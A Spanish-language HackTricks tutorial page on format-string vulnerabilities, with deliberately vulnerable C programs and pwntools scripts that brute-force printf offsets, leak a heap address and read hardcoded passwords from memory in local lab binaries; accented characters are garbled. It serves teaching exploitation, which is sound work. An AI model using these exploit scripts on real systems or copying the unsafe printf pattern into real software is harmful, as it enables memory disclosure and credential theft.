Cadenas de Formato - Ejemplo de Lectura Arbitraria
Reading time: 5 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Leer Binario Inicio
C贸digo
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Comp铆lalo con:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Explotar
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- El offset es 11 porque al establecer varios A y forzar por fuerza bruta con un bucle de offsets de 0 a 50 se encontr贸 que en el offset 11 y con 5 caracteres extra (pipes
|
en nuestro caso), es posible controlar una direcci贸n completa. - Us茅
%11$p
con relleno hasta que la direcci贸n fuera todo 0x4141414141414141 - La carga 煤til de la cadena de formato est谩 ANTES de la direcci贸n porque printf deja de leer en un byte nulo, as铆 que si enviamos la direcci贸n y luego la cadena de formato, printf nunca alcanzar谩 la cadena de formato ya que se encontrar谩 un byte nulo antes
- La direcci贸n seleccionada es 0x00400000 porque es donde comienza el binario (sin PIE)
Leer contrase帽as
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
Comp铆lalo con:
clang -o fs-read fs-read.c -Wno-format-security
Leer desde la pila
La stack_password
se almacenar谩 en la pila porque es una variable local, as铆 que simplemente abusar de printf para mostrar el contenido de la pila es suficiente. Este es un exploit para BF las primeras 100 posiciones para filtrar las contrase帽as de la pila:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
En la imagen es posible ver que podemos filtrar la contrase帽a desde la pila en la posici贸n 10
:
.png)
.png)
Leer datos
Ejecutando el mismo exploit pero con %p
en lugar de %s
es posible filtrar una direcci贸n de heap desde la pila en %25$p
. Adem谩s, comparando la direcci贸n filtrada (0xaaaab7030894
) con la posici贸n de la contrase帽a en la memoria en ese proceso, podemos obtener la diferencia de direcciones:
Ahora es el momento de encontrar c贸mo controlar 1 direcci贸n en la pila para acceder a ella desde la segunda vulnerabilidad de formato de cadena:
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
Y es posible ver que en el try 14 con el paso utilizado podemos controlar una direcci贸n:
Exploit
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.